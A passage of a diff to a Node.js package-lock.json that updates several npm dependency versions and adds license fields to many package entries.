+      "integrity": "sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
     "node_modules/is-weakref": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.2.tgz",
-      "integrity": "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==",
-      "dev": true,
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.1.1.tgz",
+      "integrity": "sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2"
+        "call-bound": "^1.0.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-weakset": {
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.4.tgz",
+      "integrity": "sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.3",
+        "get-intrinsic": "^1.2.6"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -8343,6 +9259,7 @@
       "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz",
       "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -8351,6 +9268,7 @@
       "version": "2.2.0",
       "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz",
       "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==",
+      "license": "MIT",
       "dependencies": {
         "is-docker": "^2.0.0"
       },
@@ -8361,17 +9279,20 @@
     "node_modules/isarray": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
-      "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ=="
+      "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==",
+      "license": "MIT"
     },
     "node_modules/isexe": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
-      "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="
+      "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
+      "license": "ISC"
     },
     "node_modules/isomorphic-ws": {
       "version": "4.0.1",
       "resolved": "https://registry.npmjs.org/isomorphic-ws/-/isomorphic-ws-4.0.1.tgz",
       "integrity": "sha512-BhBvN2MBpWTaSHdWRb/bwdZJ1WaehQ2L1KngkCkfLUGF0mAWAT1sQUQacEmQ0jXkFw/czDXPNQSL5u2/Krsz1w==",
+      "license": "MIT",
       "peerDependencies": {
         "ws": "*"
       }
@@ -8380,13 +9301,15 @@
       "version": "0.1.2",
       "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz",
       "integrity": "sha512-Yljz7ffyPbrLpLngrMtZ7NduUgVvi6wG9RJ9IUcyCd59YQ911PBJphODUcbOVbqYfxe1wuYf/LJ8PauMRwsM/g==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/istanbul-lib-coverage": {
       "version": "3.2.2",
       "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz",
       "integrity": "sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=8"
       }
@@ -8396,6 +9319,7 @@
       "resolved": "https://registry.npmjs.org/istanbul-lib-hook/-/istanbul-lib-hook-3.0.0.tgz",
       "integrity": "sha512-Pt/uge1Q9s+5VAZ+pCo16TYMWPBIl+oaNIjgLQxcX0itS6ueeaA+pEfThZpH8WxhFgCiEb8sAJY6MdUKgiIWaQ==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "append-transform": "^2.0.0"
       },
@@ -8408,6 +9332,7 @@
       "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-4.0.3.tgz",
       "integrity": "sha512-BXgQl9kf4WTCPCCpmFGoJkz/+uhvm7h7PFKUYxh7qarQd3ER33vHG//qaE8eN25l07YqZPpHXU9I09l/RD5aGQ==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "@babel/core": "^7.7.5",
         "@istanbuljs/schema": "^0.1.2",
@@ -8423,6 +9348,7 @@
       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
       "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
       "dev": true,
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       }
@@ -8432,6 +9358,7 @@
       "resolved": "https://registry.npmjs.org/istanbul-lib-processinfo/-/istanbul-lib-processinfo-2.0.3.tgz",
       "integrity": "sha512-NkwHbo3E00oybX6NGJi6ar0B29vxyvNwoC7eJ4G4Yq28UfY758Hgn/heV8VRFhevPED4LXfFz0DQ8z/0kw9zMg==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "archy": "^1.0.0",
         "cross-spawn": "^7.0.3",
@@ -8445,10 +9372,11 @@
       }
     },
     "node_modules/istanbul-lib-processinfo/node_modules/cross-spawn": {
-      "version": "7.0.3",
-      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz",
-      "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==",
+      "version": "7.0.6",
+      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
+      "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "path-key": "^3.1.0",
         "shebang-command": "^2.0.0",
@@ -8463,6 +9391,7 @@
       "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
       "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -8472,6 +9401,7 @@
       "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
       "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "shebang-regex": "^3.0.0"
       },
@@ -8484,6 +9414,7 @@
       "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
       "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -8493,6 +9424,7 @@
       "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
       "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "uuid": "dist/bin/uuid"
       }
@@ -8502,6 +9434,7 @@
       "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
       "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "isexe": "^2.0.0"
       },
@@ -8517,6 +9450,7 @@
       "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz",
       "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "istanbul-lib-coverage": "^3.0.0",
         "make-dir": "^4.0.0",
@@ -8531,6 +9465,7 @@
       "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
       "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "has-flag": "^4.0.0"
       },
@@ -8543,6 +9478,7 @@
       "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz",
       "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "debug": "^4.1.1",
         "istanbul-lib-coverage": "^3.0.0",
@@ -8553,10 +9489,11 @@
       }
     },
     "node_modules/istanbul-reports": {
-      "version": "3.1.6",
-      "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.6.tgz",
-      "integrity": "sha512-TLgnMkKg3iTDsQ9PbPTdpfAK2DzjF9mqUG7RMgcQl8oFjad8ob4laGxv5XV5U9MAfx8D6tSJiUyuAwzLicaxlg==",
+      "version": "3.1.7",
+      "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.7.tgz",
+      "integrity": "sha512-BewmUXImeuRk2YY0PVbxgKAysvhRPUQE0h5QRM++nVWyubKGV0l8qQ5op8+B2DOmwSe63Jivj0BjkPQVf8fP5g==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "html-escaper": "^2.0.0",
         "istanbul-lib-report": "^3.0.0"
@@ -8569,6 +9506,7 @@
       "version": "0.16.0",
       "resolved": "https://registry.npmjs.org/jmespath/-/jmespath-0.16.0.tgz",
       "integrity": "sha512-9FzQjJ7MATs1tSpnco1K6ayiYE3figslrXA72G2HQ/n76RzvYlofyi5QM+iX4YRs/pu3yzxlVQSST23+dMDknw==",
+      "license": "Apache-2.0",
       "engines": {
         "node": ">= 0.6.0"
       }
@@ -8577,12 +9515,14 @@
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
       "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/js-yaml": {
       "version": "4.1.0",
       "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz",
       "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==",
+      "license": "MIT",
       "dependencies": {
         "argparse": "^2.0.1"
       },
@@ -8594,29 +9534,33 @@
       "version": "0.1.1",
       "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz",
       "integrity": "sha512-UVU9dibq2JcFWxQPA6KCqj5O42VOmAY3zQUfEKxU0KpTGXwNoCjkX1e13eHNvw/xPynt6pU0rZ1htjWTNTSXsg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/jsesc": {
-      "version": "2.5.2",
-      "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz",
-      "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==",
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz",
+      "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "jsesc": "bin/jsesc"
       },
       "engines": {
-        "node": ">=4"
+        "node": ">=6"
       }
     },
     "node_modules/json-buffer": {
       "version": "3.0.1",
       "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz",
-      "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ=="
+      "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==",
+      "license": "MIT"
     },
     "node_modules/json-colorizer": {
       "version": "2.2.2",
       "resolved": "https://registry.npmjs.org/json-colorizer/-/json-colorizer-2.2.2.tgz",
       "integrity": "sha512-56oZtwV1piXrQnRNTtJeqRv+B9Y/dXAYLqBBaYl/COcUdoZxgLBLAO88+CnkbT6MxNs0c5E9mPBIb2sFcNz3vw==",
+      "license": "MIT",
       "dependencies": {
         "chalk": "^2.4.1",
         "lodash.get": "^4.4.2"
@@ -8626,6 +9570,7 @@
       "version": "3.2.1",
       "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
       "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
+      "license": "MIT",
       "dependencies": {
         "color-convert": "^1.9.0"
       },
@@ -8637,6 +9582,7 @@
       "version": "2.4.2",
       "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
       "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
+      "license": "MIT",
       "dependencies": {
         "ansi-styles": "^3.2.1",
         "escape-string-regexp": "^1.0.5",
@@ -8650,6 +9596,7 @@
       "version": "1.9.3",
       "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
       "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
+      "license": "MIT",
       "dependencies": {
         "color-name": "1.1.3"
       }
@@ -8657,12 +9604,14 @@
     "node_modules/json-colorizer/node_modules/color-name": {
       "version": "1.1.3",
       "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
-      "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw=="
+      "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==",
+      "license": "MIT"
     },
     "node_modules/json-colorizer/node_modules/escape-string-regexp": {
       "version": "1.0.5",
       "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
       "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.8.0"
       }
@@ -8671,6 +9620,7 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
       "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==",
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -8679,6 +9629,7 @@
       "version": "5.5.0",
       "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
       "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+      "license": "MIT",
       "dependencies": {
         "has-flag": "^3.0.0"
       },
@@ -8690,6 +9641,7 @@
       "version": "1.5.0",
       "resolved": "https://registry.npmjs.org/json-cycle/-/json-cycle-1.5.0.tgz",
       "integrity": "sha512-GOehvd5PO2FeZ5T4c+RxobeT5a1PiGpF4u9/3+UvrMU4bhnVqzJY7hm39wg8PDCqkU91fWGH8qjWR4bn+wgq9w==",
+      "license": "MIT",
       "engines": {
         "node": ">= 4"
       }
@@ -8698,18 +9650,21 @@
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz",
       "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/json-parse-even-better-errors": {
       "version": "2.3.1",
       "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz",
       "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/json-refs": {
       "version": "3.0.15",
       "resolved": "https://registry.npmjs.org/json-refs/-/json-refs-3.0.15.tgz",
       "integrity": "sha512-0vOQd9eLNBL18EGl5yYaO44GhixmImes2wiYn9Z3sag3QnehWrYWlB9AFtMxCL2Bj3fyxgDYkxGFEU/chlYssw==",
+      "license": "MIT",
       "dependencies": {
         "commander": "~4.1.1",
         "graphlib": "^2.1.8",
@@ -8731,6 +9686,7 @@
       "version": "1.0.10",
       "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
       "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+      "license": "MIT",
       "dependencies": {
         "sprintf-js": "~1.0.2"
       }
@@ -8739,6 +9695,7 @@
       "version": "3.14.1",
       "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
       "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+      "license": "MIT",
       "dependencies": {
         "argparse": "^1.0.7",
         "esprima": "^4.0.0"
@@ -8751,36 +9708,42 @@
       "version": "0.4.0",
       "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz",
       "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==",
-      "dev": true
+      "dev": true,
+      "license": "(AFL-2.1 OR BSD-3-Clause)"
     },
     "node_modules/json-schema-traverse": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
-      "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="
+      "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==",
+      "license": "MIT"
     },
     "node_modules/json-schema-typed": {
       "version": "7.0.3",
       "resolved": "https://registry.npmjs.org/json-schema-typed/-/json-schema-typed-7.0.3.tgz",
       "integrity": "sha512-7DE8mpG+/fVw+dTpjbxnx47TaMnDfOI1jwft9g1VybltZCduyRQPJPvc+zzKY9WPHxhPWczyFuYa6I8Mw4iU5A==",
-      "dev": true
+      "dev": true,
+      "license": "BSD-2-Clause"
     },
     "node_modules/json-stable-stringify-without-jsonify": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz",
       "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/json-stringify-safe": {
       "version": "5.0.1",
       "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz",
       "integrity": "sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/json5": {
       "version": "2.2.3",
       "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",
       "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "json5": "lib/cli.js"
       },
@@ -8792,6 +9755,7 @@
       "version": "6.1.0",
       "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz",
       "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==",
+      "license": "MIT",
       "dependencies": {
         "universalify": "^2.0.0"
       },
@@ -8806,13 +9770,15 @@
       "dev": true,
       "engines": [
         "node >= 0.2.0"
-      ]
+      ],
+      "license": "MIT"
     },
     "node_modules/JSONStream": {
       "version": "1.3.5",
       "resolved": "https://registry.npmjs.org/JSONStream/-/JSONStream-1.3.5.tgz",
       "integrity": "sha512-E+iruNOY8VV9s4JEbe1aNEm6MiszPRr/UfcHMz0TQh1BXSxHK+ASV1R6W4HpjBhSeS+54PIsAMCBmwD06LLsqQ==",
       "dev": true,
+      "license": "(MIT OR Apache-2.0)",
       "dependencies": {
         "jsonparse": "^1.2.0",
         "through": ">=2.2.7 <3"
@@ -8829,6 +9795,7 @@
       "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.2.tgz",
       "integrity": "sha512-P2bSOMAc/ciLz6DzgjVlGJP9+BrJWu5UDGK70C2iweC5QBIeFf0ZXRvGjEj2uYgrY2MkAAhsSWHDWlFtEroZWw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "assert-plus": "1.0.0",
         "extsprintf": "1.3.0",
@@ -8843,6 +9810,7 @@
       "version": "3.10.1",
       "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.10.1.tgz",
       "integrity": "sha512-xXDvecyTpGLrqFrvkrUSoxxfJI5AH7U8zxxtVclpsUtMCq4JQ290LY8AW5c7Ggnr/Y/oK+bQMbqK2qmtk3pN4g==",
+      "license": "(MIT OR GPL-3.0-or-later)",
       "dependencies": {
         "lie": "~3.3.0",
         "pako": "~1.0.2",
@@ -8854,6 +9822,7 @@
       "version": "2.3.8",
       "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz",
       "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==",
+      "license": "MIT",
       "dependencies": {
         "core-util-is": "~1.0.0",
         "inherits": "~2.0.3",
@@ -8867,31 +9836,36 @@
     "node_modules/jszip/node_modules/safe-buffer": {
       "version": "5.1.2",
       "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
-      "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
+      "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
+      "license": "MIT"
     },
     "node_modules/jszip/node_modules/string_decoder": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
       "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+      "license": "MIT",
       "dependencies": {
         "safe-buffer": "~5.1.0"
       }
     },
     "node_modules/just-extend": {
-      "version": "4.2.1",
-      "resolved": "https://registry.npmjs.org/just-extend/-/just-extend-4.2.1.tgz",
-      "integrity": "sha512-g3UB796vUFIY90VIv/WX3L2c8CS2MdWUww3CNrYmqza1Fg0DURc2K/O4YrnklBdQarSJ/y8JnJYDGc+1iumQjg==",
-      "dev": true
+      "version": "6.2.0",
+      "resolved": "https://registry.npmjs.org/just-extend/-/just-extend-6.2.0.tgz",
+      "integrity": "sha512-cYofQu2Xpom82S6qD778jBDpwvvy39s1l/hrYij2u9AMdQcGRpaBu6kY4mVhuno5kJVi1DAz4aiphA2WI1/OAw==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/jwt-decode": {
       "version": "2.2.0",
       "resolved": "https://registry.npmjs.org/jwt-decode/-/jwt-decode-2.2.0.tgz",
-      "integrity": "sha512-86GgN2vzfUu7m9Wcj63iUkuDzFNYFVmjeDm2GzWpUk+opB0pEpMsw6ePCMrhYkumz2C1ihqtZzOMAg7FiXcNoQ=="
+      "integrity": "sha512-86GgN2vzfUu7m9Wcj63iUkuDzFNYFVmjeDm2GzWpUk+opB0pEpMsw6ePCMrhYkumz2C1ihqtZzOMAg7FiXcNoQ==",
+      "license": "MIT"
     },
     "node_modules/keyv": {
       "version": "4.5.4",
       "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz",
       "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==",
+      "license": "MIT",
       "dependencies": {
         "json-buffer": "3.0.1"
       }
@@ -8901,6 +9875,7 @@
       "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
       "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -8909,6 +9884,7 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.1.tgz",
       "integrity": "sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==",
+      "license": "MIT",
       "dependencies": {
         "readable-stream": "^2.0.5"
       },
@@ -8920,6 +9896,7 @@
       "version": "2.3.8",
       "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz",
       "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==",
